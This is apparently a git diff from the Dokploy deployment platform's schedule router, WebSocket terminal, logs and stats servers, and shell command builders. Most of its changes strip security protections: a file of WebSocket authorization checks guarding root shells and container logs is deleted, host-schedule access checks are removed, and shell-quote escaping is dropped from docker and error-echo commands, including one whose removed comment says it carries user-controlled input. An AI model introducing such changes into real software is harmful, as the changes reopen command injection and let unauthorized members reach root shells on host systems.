throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
} }
await deleteSchedule(input.scheduleId); await deleteSchedule(input.scheduleId);
@@ -300,19 +389,50 @@ export const scheduleRouter = createTRPCRouter({
.input(z.object({ scheduleId: z.string().min(1) })) .input(z.object({ scheduleId: z.string().min(1) }))
.mutation(async ({ input, ctx }) => { .mutation(async ({ input, ctx }) => {
const scheduleItem = await findScheduleById(input.scheduleId); const scheduleItem = await findScheduleById(input.scheduleId);
await assertHostScheduleAccess(
ctx,
scheduleItem.scheduleType,
scheduleItem.serverId,
);
const serviceId = scheduleItem.applicationId || scheduleItem.composeId; const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
if (serviceId) { if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, { await checkServicePermissionAndAccess(ctx, serviceId, {
schedule: ["create"], schedule: ["create"],
}); });
} else { } else {
if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["create"] }); await checkPermission(ctx, { schedule: ["create"] });
if (
scheduleItem.scheduleType === "server" ||
scheduleItem.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
const targetServer = await findServerById(scheduleItem.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
} }
try { try {
await runCommand(input.scheduleId); await runCommand(input.scheduleId);

View File

@@ -1,89 +0,0 @@
import { getAccessibleServerIds } from "@dokploy/server";
import {
checkServiceAccess,
findMemberByUserId,
hasPermission,
} from "@dokploy/server/services/permission";
type WssUser = { id: string } | null | undefined;
type WssSession = { activeOrganizationId?: string | null } | null | undefined;
const buildCtx = (user: { id: string }, activeOrganizationId: string) => ({
user: { id: user.id },
session: { activeOrganizationId },
});
// Authorizes docker/container operations opened over a WebSocket (container
// terminal, container logs, container stats). Requires the docker permission
// (owner/admin, or a member explicitly granted canAccessToDocker) and, for a
// remote server, that the server is accessible to the caller. Previously these
// handlers only checked session + organization, so any member could reach a
// root shell / logs of any container.
export const canAccessDockerOverWss = async (
user: WssUser,
session: WssSession,
serverId?: string | null,
serviceId?: string | null,
): Promise<boolean> => {
if (!user || !session?.activeOrganizationId) return false;
const ctx = buildCtx(user, session.activeOrganizationId);
// When the container belongs to a specific Dokploy service (opened from a
// service page, so serviceId is present), access to that service is the
// authoritative gate — matching the service tRPC endpoints (e.g.
// application.readLogs, which check service access only). A member granted
// the service can read its logs / open its terminal even without the broad
// "docker" permission or explicit access to the server it runs on.
if (serviceId) {
try {
await checkServiceAccess(ctx, serviceId, "read");
return true;
} catch {
return false;
}
}
// Generic Docker overview (no service context): mirror the docker tRPC router
// — require the docker permission and access to the target server.
if (!(await hasPermission(ctx, { docker: ["read"] }))) return false;
if (serverId && serverId !== "local") {
const accessible = await getAccessibleServerIds({
userId: user.id,
activeOrganizationId: session.activeOrganizationId,
});
if (!accessible.has(serverId)) return false;
}
return true;
};
// Authorizes the host/server SSH terminal opened over a WebSocket. The local
// host terminal is a root shell on the control-plane host, so it is restricted
// to owner/admin. A remote server terminal is gated on server access.
export const canAccessTerminalOverWss = async (
user: WssUser,
session: WssSession,
serverId?: string | null,
): Promise<boolean> => {
if (!user || !session?.activeOrganizationId) return false;
if (serverId && serverId !== "local") {
const accessible = await getAccessibleServerIds({
userId: user.id,
activeOrganizationId: session.activeOrganizationId,
});
return accessible.has(serverId);
}
try {
const member = await findMemberByUserId(
user.id,
session.activeOrganizationId,
);
return member?.role === "owner" || member?.role === "admin";
} catch {
return false;
}
};

View File

@@ -3,7 +3,6 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
import { spawn } from "node-pty"; import { spawn } from "node-pty";
import { Client } from "ssh2"; import { Client } from "ssh2";
import { WebSocketServer } from "ws"; import { WebSocketServer } from "ws";
import { canAccessDockerOverWss } from "./authorize";
import { import {
getShell, getShell,
isValidContainerId, isValidContainerId,
@@ -42,7 +41,6 @@ export const setupDockerContainerLogsWebSocketServer = (
const since = url.searchParams.get("since") ?? "all"; const since = url.searchParams.get("since") ?? "all";
const serverId = url.searchParams.get("serverId"); const serverId = url.searchParams.get("serverId");
const runType = url.searchParams.get("runType"); const runType = url.searchParams.get("runType");
const serviceId = url.searchParams.get("serviceId");
const { user, session } = await validateRequest(req); const { user, session } = await validateRequest(req);
if (!containerId) { if (!containerId) {
@@ -76,11 +74,6 @@ export const setupDockerContainerLogsWebSocketServer = (
return; return;
} }
if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
ws.close(4003, "Not authorized");
return;
}
// Set up keep-alive ping mechanism to prevent timeout // Set up keep-alive ping mechanism to prevent timeout
// Send ping every 45 seconds to keep connection alive // Send ping every 45 seconds to keep connection alive
const pingInterval = setInterval(() => { const pingInterval = setInterval(() => {

View File

@@ -3,7 +3,6 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
import { spawn } from "node-pty"; import { spawn } from "node-pty";
import { Client } from "ssh2"; import { Client } from "ssh2";
import { WebSocketServer } from "ws"; import { WebSocketServer } from "ws";
import { canAccessDockerOverWss } from "./authorize";
import { isValidContainerId, isValidShell } from "./utils"; import { isValidContainerId, isValidShell } from "./utils";
export const setupDockerContainerTerminalWebSocketServer = ( export const setupDockerContainerTerminalWebSocketServer = (
@@ -33,7 +32,6 @@ export const setupDockerContainerTerminalWebSocketServer = (
const containerId = url.searchParams.get("containerId"); const containerId = url.searchParams.get("containerId");
const activeWay = url.searchParams.get("activeWay"); const activeWay = url.searchParams.get("activeWay");
const serverId = url.searchParams.get("serverId"); const serverId = url.searchParams.get("serverId");
const serviceId = url.searchParams.get("serviceId");
const { user, session } = await validateRequest(req); const { user, session } = await validateRequest(req);
if (!containerId) { if (!containerId) {
@@ -60,11 +58,6 @@ export const setupDockerContainerTerminalWebSocketServer = (
ws.close(); ws.close();
return; return;
} }
if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
ws.close(4003, "Not authorized");
return;
}
try { try {
if (serverId) { if (serverId) {
const server = await findServerById(serverId); const server = await findServerById(serverId);

View File

@@ -9,7 +9,6 @@ import {
validateRequest, validateRequest,
} from "@dokploy/server"; } from "@dokploy/server";
import { WebSocketServer } from "ws"; import { WebSocketServer } from "ws";
import { canAccessDockerOverWss } from "./authorize";
export const setupDockerStatsMonitoringSocketServer = ( export const setupDockerStatsMonitoringSocketServer = (
server: http.Server<typeof http.IncomingMessage, typeof http.ServerResponse>, server: http.Server<typeof http.IncomingMessage, typeof http.ServerResponse>,
@@ -45,7 +44,6 @@ export const setupDockerStatsMonitoringSocketServer = (
| "application" | "application"
| "stack" | "stack"
| "docker-compose"; | "docker-compose";
const serviceId = url.searchParams.get("serviceId");
const { user, session } = await validateRequest(req); const { user, session } = await validateRequest(req);
if (!appName) { if (!appName) {
@@ -57,11 +55,6 @@ export const setupDockerStatsMonitoringSocketServer = (
ws.close(); ws.close();
return; return;
} }
if (!(await canAccessDockerOverWss(user, session, null, serviceId))) {
ws.close(4003, "Not authorized");
return;
}
const intervalId = setInterval(async () => { const intervalId = setInterval(async () => {
try { try {
// Special case: when monitoring "dokploy", get host system stats instead of container stats // Special case: when monitoring "dokploy", get host system stats instead of container stats

View File

@@ -9,7 +9,6 @@ import { publicIpv4, publicIpv6 } from "public-ip";
import { Client, type ConnectConfig } from "ssh2"; import { Client, type ConnectConfig } from "ssh2";
import { WebSocketServer } from "ws"; import { WebSocketServer } from "ws";
import { getDockerHost } from "../utils/docker"; import { getDockerHost } from "../utils/docker";
import { canAccessTerminalOverWss } from "./authorize";
import { setupLocalServerSSHKey } from "./utils"; import { setupLocalServerSSHKey } from "./utils";
const COMMAND_TO_ALLOW_LOCAL_ACCESS = ` const COMMAND_TO_ALLOW_LOCAL_ACCESS = `
@@ -94,11 +93,6 @@ export const setupTerminalWebSocketServer = (
return; return;
} }
if (!(await canAccessTerminalOverWss(user, session, serverId))) {
ws.close(4003, "Not authorized");
return;
}
let connectionDetails: ConnectConfig = {}; let connectionDetails: ConnectConfig = {};
const isLocalServer = serverId === "local"; const isLocalServer = serverId === "local";

View File

@@ -57,7 +57,6 @@ export const schedules = pgTable("schedule", {
}); });
export type Schedule = typeof schedules.$inferSelect; export type Schedule = typeof schedules.$inferSelect;
export type ScheduleType = Schedule["scheduleType"];
export const schedulesRelations = relations(schedules, ({ one, many }) => ({ export const schedulesRelations = relations(schedules, ({ one, many }) => ({
application: one(applications, { application: one(applications, {
@@ -79,9 +78,7 @@ export const schedulesRelations = relations(schedules, ({ one, many }) => ({
deployments: many(deployments), deployments: many(deployments),
})); }));
export const createScheduleSchema = createInsertSchema(schedules, { export const createScheduleSchema = createInsertSchema(schedules);
scheduleType: z.enum(["application", "compose", "server", "dokploy-server"]),
});
export const updateScheduleSchema = createScheduleSchema.extend({ export const updateScheduleSchema = createScheduleSchema.extend({
scheduleId: z.string().min(1), scheduleId: z.string().min(1),

View File

@@ -2,7 +2,7 @@ import path from "node:path";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq } from "drizzle-orm"; import { eq } from "drizzle-orm";
import type { z } from "zod"; import type { z } from "zod";
import { IS_CLOUD, paths } from "../constants"; import { paths } from "../constants";
import { db } from "../db"; import { db } from "../db";
import type { import type {
createScheduleSchema, createScheduleSchema,
@@ -11,51 +11,9 @@ import type {
import { type Schedule, schedules } from "../db/schema/schedule"; import { type Schedule, schedules } from "../db/schema/schedule";
import { encodeBase64 } from "../utils/docker/utils"; import { encodeBase64 } from "../utils/docker/utils";
import { execAsync, execAsyncRemote } from "../utils/process/execAsync"; import { execAsync, execAsyncRemote } from "../utils/process/execAsync";
import { findMemberByUserId } from "./permission";
import { findServerById } from "./server";
export type ScheduleExtended = Awaited<ReturnType<typeof findScheduleById>>; export type ScheduleExtended = Awaited<ReturnType<typeof findScheduleById>>;
// Host-level schedules (server / dokploy-server) run their script as root on the
// host and must stay restricted to owners/admins, regardless of whether the
// request is also tied to a service. Attaching an accessible applicationId must
// not downgrade this to a service-access check.
export const assertHostScheduleAccess = async (
ctx: { user: { id: string }; session: { activeOrganizationId: string } },
scheduleType: Schedule["scheduleType"] | null | undefined,
serverId: string | null | undefined,
) => {
if (scheduleType !== "server" && scheduleType !== "dokploy-server") return;
if (scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message: "Host-level schedules are not available in the cloud version.",
});
}
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message: "Only owners and admins can manage server-level schedules.",
});
}
if (scheduleType === "server" && serverId) {
const targetServer = await findServerById(serverId);
if (targetServer.organizationId !== ctx.session.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
};
export const createSchedule = async ( export const createSchedule = async (
input: z.infer<typeof createScheduleSchema>, input: z.infer<typeof createScheduleSchema>,
) => { ) => {

View File

@@ -5,7 +5,6 @@ import {
safeDockerLoginCommand, safeDockerLoginCommand,
} from "@dokploy/server/services/registry"; } from "@dokploy/server/services/registry";
import { createRollback } from "@dokploy/server/services/rollbacks"; import { createRollback } from "@dokploy/server/services/rollbacks";
import { quote } from "shell-quote";
import type { ApplicationNested } from "../builders"; import type { ApplicationNested } from "../builders";
export const uploadImageRemoteCommand = async ( export const uploadImageRemoteCommand = async (
@@ -125,18 +124,18 @@ const getRegistryCommands = (
registry.password, registry.password,
); );
return ` return `
echo ${quote([`📦 [Enabled Registry] Uploading image to '${registry.registryType}' | '${registryTag}'`])} ; echo "📦 [Enabled Registry] Uploading image to '${registry.registryType}' | '${registryTag}'" ;
${loginCmd} || { ${loginCmd} || {
echo "❌ DockerHub Failed" ; echo "❌ DockerHub Failed" ;
exit 1; exit 1;
} }
echo "✅ Registry Login Success" ; echo "✅ Registry Login Success" ;
docker tag ${quote([imageName])} ${quote([registryTag])} || { docker tag ${imageName} ${registryTag} || {
echo "❌ Error tagging image" ; echo "❌ Error tagging image" ;
exit 1; exit 1;
} }
echo "✅ Image Tagged" ; echo "✅ Image Tagged" ;
docker push ${quote([registryTag])} || { docker push ${registryTag} || {
echo "❌ Error pushing image" ; echo "❌ Error pushing image" ;
exit 1; exit 1;
} }

View File

@@ -3,7 +3,6 @@ import { join } from "node:path";
import { paths } from "@dokploy/server/constants"; import { paths } from "@dokploy/server/constants";
import type { Compose } from "@dokploy/server/services/compose"; import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain"; import type { Domain } from "@dokploy/server/services/domain";
import { quote } from "shell-quote";
import { parse, stringify } from "yaml"; import { parse, stringify } from "yaml";
import { execAsyncRemote } from "../process/execAsync"; import { execAsyncRemote } from "../process/execAsync";
import { cloneBitbucketRepository } from "../providers/bitbucket"; import { cloneBitbucketRepository } from "../providers/bitbucket";
@@ -126,11 +125,8 @@ exit 1;
const encodedContent = encodeBase64(composeString); const encodedContent = encodeBase64(composeString);
return `echo "${encodedContent}" | base64 -d > "${path}";`; return `echo "${encodedContent}" | base64 -d > "${path}";`;
} catch (error) { } catch (error) {
const message = // @ts-ignore
error instanceof Error ? error.message : String(error ?? ""); return `echo "❌ Has occurred an error: ${error?.message || error}";
// The error message embeds user-controlled fields (e.g. serviceName) and is
// executed as part of the compose build shell script, so it must be escaped.
return `echo ${quote([`❌ Has occurred an error: ${message}`])};
exit 1; exit 1;
`; `;
} }

View File

@@ -1,5 +1,4 @@
import * as fs from "node:fs/promises"; import * as fs from "node:fs/promises";
import { quote } from "shell-quote";
import { execAsync, execAsyncRemote, sleep } from "../utils/process/execAsync"; import { execAsync, execAsyncRemote, sleep } from "../utils/process/execAsync";
interface GPUInfo { interface GPUInfo {
@@ -323,7 +322,7 @@ const setupLocalServer = async (daemonConfig: any) => {
}; };
const addGpuLabel = async (nodeId: string, serverId?: string) => { const addGpuLabel = async (nodeId: string, serverId?: string) => {
const labelCommand = `docker node update --label-add gpu=true ${quote([nodeId])}`; const labelCommand = `docker node update --label-add gpu=true ${nodeId}`;
if (serverId) { if (serverId) {
await execAsyncRemote(serverId, labelCommand); await execAsyncRemote(serverId, labelCommand);
} else { } else {
@@ -336,7 +335,7 @@ const verifySetup = async (nodeId: string, serverId?: string) => {
if (!finalStatus.swarmEnabled) { if (!finalStatus.swarmEnabled) {
const diagnosticCommands = [ const diagnosticCommands = [
`docker node inspect ${quote([nodeId])}`, `docker node inspect ${nodeId}`,
'nvidia-smi -a | grep "GPU UUID"', 'nvidia-smi -a | grep "GPU UUID"',
"cat /etc/docker/daemon.json", "cat /etc/docker/daemon.json",
"cat /etc/nvidia-container-runtime/config.toml", "cat /etc/nvidia-container-runtime/config.toml",